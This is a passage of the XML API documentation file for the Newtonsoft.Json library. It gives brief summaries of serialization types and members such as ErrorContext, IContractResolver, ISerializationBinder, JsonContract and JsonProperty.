name=\"P:Newtonsoft.Json.Serialization.ErrorContext.Handled\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.ErrorContext\"/> is handled.\n            </summary>\n            <value><c>true</c> if handled; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\">\n            <summary>\n            Provides data for the Error event.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.CurrentObject\">\n            <summary>\n            Gets the current object the error event is being raised against.\n            </summary>\n            <value>The current object the error event is being raised against.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ErrorEventArgs.ErrorContext\">\n            <summary>\n            Gets the error context.\n            </summary>\n            <value>The error context.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ErrorEventArgs.#ctor(System.Object,Newtonsoft.Json.Serialization.ErrorContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ErrorEventArgs\"/> class.\n            </summary>\n            <param name=\"currentObject\">The current object.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\">\n            <summary>\n            Get and set values for a <see cref=\"T:System.Reflection.MemberInfo\"/> using dynamic methods.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.#ctor(System.Reflection.MemberInfo)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.ExpressionValueProvider\"/> class.\n            </summary>\n            <param name=\"memberInfo\">The member info.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ExpressionValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\">\n            <summary>\n            Provides methods to get attributes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Boolean)\">\n            <summary>\n            Returns a collection of all of the attributes, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IAttributeProvider.GetAttributes(System.Type,System.Boolean)\">\n            <summary>\n            Returns a collection of attributes, identified by type, or an empty collection if there are no attributes.\n            </summary>\n            <param name=\"attributeType\">The type of the attributes.</param>\n            <param name=\"inherit\">When <c>true</c>, look up the hierarchy chain for the inherited custom attribute.</param>\n            <returns>A collection of <see cref=\"T:System.Attribute\"/>s, or an empty collection.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IContractResolver\">\n            <summary>\n            Used by <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to resolve a <see cref=\"T:Newtonsoft.Json.Serialization.JsonContract\"/> for a given <see cref=\"T:System.Type\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverObject\" title=\"IContractResolver Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeContractResolverExample\" title=\"IContractResolver Example\" />\n            </example>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IContractResolver.ResolveContract(System.Type)\">\n            <summary>\n            Resolves the contract for a given type.\n            </summary>\n            <param name=\"type\">The type to resolve a contract for.</param>\n            <returns>The contract for a given type.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\">\n            <summary>\n            Used to resolve references when serializing and deserializing JSON by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.ResolveReference(System.Object,System.String)\">\n            <summary>\n            Resolves a reference to its object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference to resolve.</param>\n            <returns>The object that was resolved from the reference.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.GetReference(System.Object,System.Object)\">\n            <summary>\n            Gets the reference for the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to get a reference for.</param>\n            <returns>The reference to the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.IsReferenced(System.Object,System.Object)\">\n            <summary>\n            Determines whether the specified object is referenced.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"value\">The object to test for a reference.</param>\n            <returns>\n            \t<c>true</c> if the specified object is referenced; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IReferenceResolver.AddReference(System.Object,System.String,System.Object)\">\n            <summary>\n            Adds a reference to the specified object.\n            </summary>\n            <param name=\"context\">The serialization context.</param>\n            <param name=\"reference\">The reference.</param>\n            <param name=\"value\">The object to reference.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\">\n            <summary>\n            Allows users to control class loading and mandate what class to load.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToType(System.String,System.String)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object</param>\n            <returns>The type of the object the formatter creates a new instance of.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ISerializationBinder.BindToName(System.Type,System.String@,System.String@)\">\n            <summary>\n            When implemented, controls the binding of a serialized object to a type.\n            </summary>\n            <param name=\"serializedType\">The type of the object the formatter creates a new instance of.</param>\n            <param name=\"assemblyName\">Specifies the <see cref=\"T:System.Reflection.Assembly\"/> name of the serialized object.</param>\n            <param name=\"typeName\">Specifies the <see cref=\"T:System.Type\"/> name of the serialized object.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ITraceWriter\">\n            <summary>\n            Represents a trace writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.ITraceWriter.LevelFilter\">\n            <summary>\n            Gets the <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.\n            For example a filter level of <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/> will exclude <see cref=\"F:System.Diagnostics.TraceLevel.Verbose\"/> messages and include <see cref=\"F:System.Diagnostics.TraceLevel.Info\"/>,\n            <see cref=\"F:System.Diagnostics.TraceLevel.Warning\"/> and <see cref=\"F:System.Diagnostics.TraceLevel.Error\"/> messages.\n            </summary>\n            <value>The <see cref=\"T:System.Diagnostics.TraceLevel\"/> that will be used to filter the trace messages passed to the writer.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.ITraceWriter.Trace(System.Diagnostics.TraceLevel,System.String,System.Exception)\">\n            <summary>\n            Writes the specified trace level, message and optional exception.\n            </summary>\n            <param name=\"level\">The <see cref=\"T:System.Diagnostics.TraceLevel\"/> at which to write this trace.</param>\n            <param name=\"message\">The trace message.</param>\n            <param name=\"ex\">The trace exception. This parameter is optional.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.IValueProvider\">\n            <summary>\n            Provides methods to get and set values.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.SetValue(System.Object,System.Object)\">\n            <summary>\n            Sets the value.\n            </summary>\n            <param name=\"target\">The target to set the value on.</param>\n            <param name=\"value\">The value to set on the target.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.IValueProvider.GetValue(System.Object)\">\n            <summary>\n            Gets the value.\n            </summary>\n            <param name=\"target\">The target to get the value from.</param>\n            <returns>The value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.CollectionItemType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the collection items.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the collection items.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.IsMultidimensionalArray\">\n            <summary>\n            Gets a value indicating whether the collection type is a multidimensional array.\n            </summary>\n            <value><c>true</c> if the collection type is a multidimensional array; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonArrayContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the collection values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the collection values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonArrayContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonArrayContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemConverter\">\n            <summary>\n            Gets or sets the default collection items <see cref=\"T:Newtonsoft.Json.JsonConverter\" />.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemIsReference\">\n            <summary>\n            Gets or sets a value indicating whether the collection items preserve object references.\n            </summary>\n            <value><c>true</c> if collection items preserve object references; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the collection item reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContainerContract.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the collection item type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonContainerContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonContainerContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.SerializationErrorCallback\">\n            <summary>\n            Handles <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> serialization error callback events.\n            </summary>\n            <param name=\"o\">The object that raised the callback event.</param>\n            <param name=\"context\">The streaming context.</param>\n            <param name=\"errorContext\">The error context.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataSetter\">\n            <summary>\n            Sets extension data for an object during deserialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n            <param name=\"key\">The extension data key.</param>\n            <param name=\"value\">The extension data value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.ExtensionDataGetter\">\n            <summary>\n            Gets extension data for an object during serialization.\n            </summary>\n            <param name=\"o\">The object to set extension data on.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.UnderlyingType\">\n            <summary>\n            Gets the underlying type for the contract.\n            </summary>\n            <value>The underlying type for the contract.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.CreatedType\">\n            <summary>\n            Gets or sets the type created during deserialization.\n            </summary>\n            <value>The type created during deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.IsReference\">\n            <summary>\n            Gets or sets whether this type contract is serialized as a reference.\n            </summary>\n            <value>Whether this type contract is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\">\n            <summary>\n            Gets or sets the default <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for this contract.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.InternalConverter\">\n            <summary>\n            Gets the internally resolved <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> for the contract's type.\n            This converter is used as a fallback converter when no other converter is resolved.\n            Setting <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.Converter\"/> will always override this converter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializedCallbacks\">\n            <summary>\n            Gets or sets all methods called immediately after deserialization of the object.\n            </summary>\n            <value>The methods called immediately after deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnDeserializingCallbacks\">\n            <summary>\n            Gets or sets all methods called during deserialization of the object.\n            </summary>\n            <value>The methods called during deserialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializedCallbacks\">\n            <summary>\n            Gets or sets all methods called after serialization of the object graph.\n            </summary>\n            <value>The methods called after serialization of the object graph.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnSerializingCallbacks\">\n            <summary>\n            Gets or sets all methods called before serialization of the object.\n            </summary>\n            <value>The methods called before serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.OnErrorCallbacks\">\n            <summary>\n            Gets or sets all method called when an error is thrown during the serialization of the object.\n            </summary>\n            <value>The methods called when an error is thrown during the serialization of the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\">\n            <summary>\n            Gets or sets the default creator method used to create the object.\n            </summary>\n            <value>The default creator method used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreatorNonPublic\">\n            <summary>\n            Gets or sets a value indicating whether the default creator is non-public.\n            </summary>\n            <value><c>true</c> if the default object creator is non-public; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyResolver\">\n            <summary>\n            Gets or sets the dictionary key resolver.\n            </summary>\n            <value>The dictionary key resolver.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryKeyType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary keys.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary keys.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.DictionaryValueType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the dictionary values.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the dictionary values.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDictionaryContract.HasParameterizedCreator\">\n            <summary>\n            Gets a value indicating whether the creator has a parameter with the dictionary values.\n            </summary>\n            <value><c>true</c> if the creator has a parameter with the dictionary values; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDictionaryContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDictionaryContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonDynamicContract.PropertyNameResolver\">\n            <summary>\n            Gets or sets the property name resolver.\n            </summary>\n            <value>The property name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonDynamicContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonDynamicContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonISerializableContract.ISerializableCreator\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.\n            </summary>\n            <value>The <see cref=\"T:System.Runtime.Serialization.ISerializable\"/> object constructor.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonISerializableContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonISerializableContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonLinqContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonLinqContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MemberSerialization\">\n            <summary>\n            Gets or sets the object member serialization.\n            </summary>\n            <value>The member object serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.Properties\">\n            <summary>\n            Gets the object's properties.\n            </summary>\n            <value>The object's properties.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\">\n            <summary>\n            Gets a collection of <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> instances that define the parameters used with <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.OverrideCreator\">\n            <summary>\n            Gets or sets the function used to create the object. When set this function will override <see cref=\"P:Newtonsoft.Json.Serialization.JsonContract.DefaultCreator\"/>.\n            This function is called with a collection of arguments which are defined by the <see cref=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.CreatorParameters\"/> collection.\n            </summary>\n            <value>The function used to create the object.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataSetter\">\n            <summary>\n            Gets or sets the extension data setter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataGetter\">\n            <summary>\n            Gets or sets the extension data getter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataValueType\">\n            <summary>\n            Gets or sets the extension data value type.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonObjectContract.ExtensionDataNameResolver\">\n            <summary>\n            Gets or sets the extension data name resolver.\n            </summary>\n            <value>The extension data name resolver.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonObjectContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonObjectContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\">\n            <summary>\n            Contract details for a <see cref=\"T:System.Type\"/> used by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Serialization.JsonPrimitiveContract.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Serialization.JsonPrimitiveContract\"/> class.\n            </summary>\n            <param name=\"underlyingType\">The underlying type for the contract.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Serialization.JsonProperty\">\n            <summary>\n            Maps a JSON property to a .NET member or constructor parameter.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DeclaringType\">\n            <summary>\n            Gets or sets the type that declared this property.\n            </summary>\n            <value>The type that declared this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.UnderlyingName\">\n            <summary>\n            Gets or sets the name of the underlying member or parameter.\n            </summary>\n            <value>The name of the underlying member or parameter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ValueProvider\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IValueProvider\"/> that will get and set the <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.AttributeProvider\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Serialization.IAttributeProvider\"/> for this property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.PropertyType\">\n            <summary>\n            Gets or sets the type of the property.\n            </summary>\n            <value>The type of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Converter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\" /> for the property.\n            If set this converter takes precedence over the contract converter for the property type.\n            </summary>\n            <value>The converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.MemberConverter\">\n            <summary>\n            Gets or sets the member converter.\n            </summary>\n            <value>The member converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Ignored\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is ignored.\n            </summary>\n            <value><c>true</c> if ignored; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Readable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is readable.\n            </summary>\n            <value><c>true</c> if readable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Writable\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is writable.\n            </summary>\n            <value><c>true</c> if writable; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.HasMemberAttribute\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> has a member attribute.\n            </summary>\n            <value><c>true</c> if has a member attribute; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValue\">\n            <summary>\n            Gets the default value.\n            </summary>\n            <value>The default value.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\">\n            <summary>\n            Gets or sets a value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.\n            </summary>\n            <value>A value indicating whether this <see cref=\"T:Newtonsoft.Json.Serialization.JsonProperty\"/> is required.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsRequiredSpecified\">\n            <summary>\n            Gets a value indicating whether <see cref=\"P:Newtonsoft.Json.Serialization.JsonProperty.Required\"/> has a value specified.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.IsReference\">\n            <summary>\n            Gets or sets a value indicating whether this property preserves object references.\n            </summary>\n            <value>\n            \t<c>true</c> if this instance is reference; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.NullValueHandling\">\n            <summary>\n            Gets or sets the property null value handling.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.DefaultValueHandling\">\n            <summary>\n            Gets or sets the property default value handling.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the property reference loop handling.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the property object creation handling.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.TypeNameHandling\">\n            <summary>\n            Gets or sets or sets the type name handling.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldSerialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be serialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.ShouldDeserialize\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be deserialized.\n            </summary>\n            <value>A predicate used to determine whether the property should be deserialized.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Serialization.JsonProperty.GetIsSpecified\">\n            <summary>\n            Gets or sets a predicate used to determine whether the property should be serialized.\n            